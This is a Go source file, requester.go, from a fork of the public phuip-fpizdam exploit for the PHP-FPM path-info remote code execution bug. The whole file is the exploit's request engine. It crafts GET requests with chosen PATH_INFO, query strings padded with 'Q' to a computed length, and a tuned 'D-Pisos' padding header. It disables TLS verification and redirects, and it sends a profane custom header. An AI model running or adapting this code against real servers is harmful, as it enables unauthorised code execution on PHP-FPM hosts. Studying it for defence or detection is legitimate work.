forked from neex/phuip-fpizdam
-
Notifications
You must be signed in to change notification settings - Fork 1
/
requester.go
85 lines (79 loc) · 2.56 KB
/
requester.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package main
import (
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strings"
"time"
)
type Requester struct {
cl *http.Client
u *url.URL
cookie string
}
func NewRequester(resource, cookie string) (*Requester, error) {
u, err := url.Parse(resource)
if err != nil {
return nil, fmt.Errorf("url.Parse failed: %v", err)
}
if !strings.HasSuffix(u.Path, ".php") {
return nil, fmt.Errorf("well I believe the url must end with \".php\". " +
"Maybe I'm wrong, delete this check if you feel like it")
}
nextProto := make(map[string]func(authority string, c *tls.Conn) http.RoundTripper)
disableRedirects := func(_ *http.Request, _ []*http.Request) error { return http.ErrUseLastResponse }
return &Requester{
cl: &http.Client{
Transport: &http.Transport{
DisableCompression: true, // No "Accept-Encoding"
TLSNextProto: nextProto, // No http2
Proxy: http.ProxyFromEnvironment,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
Timeout: 30 * time.Second,
CheckRedirect: disableRedirects, // No redirects
},
u: u,
cookie: cookie,
}, nil
}
func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) {
return r.RequestWithQueryStringPrefix(pathInfo, params, "")
}
func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) {
if !strings.HasPrefix(pathInfo, "/") {
return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo)
}
u := *r.u
u.Path = u.Path + pathInfo
qslDelta := len(u.EscapedPath()) - len(pathInfo) - len(r.u.EscapedPath())
if qslDelta%2 != 0 {
panic(fmt.Errorf("got odd qslDelta, that means the URL encoding gone wrong: pathInfo=%#v, qslDelta=%#v", qslDelta))
}
qslPrime := params.QueryStringLength - qslDelta/2 - len(prefix)
if qslPrime < 0 {
return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix)
}
u.RawQuery = prefix + strings.Repeat("Q", qslPrime)
req, err := http.NewRequest("GET", u.String(), nil)
if err != nil {
return nil, nil, err
}
req.Header.Set("User-Agent", UserAgent)
if r.cookie != "" {
req.Header.Set("Cookie", r.cookie)
}
req.Header.Set("D-Pisos", "8"+strings.Repeat("=", params.PisosLength)+"D")
req.Header.Set("Ebut", "mamku tvoyu")
resp, err := r.cl.Do(req)
if resp != nil {
defer func() { _ = resp.Body.Close() }()
}
if err != nil {
return nil, nil, err
}
data, err := ioutil.ReadAll(resp.Body)
return resp, data, err
}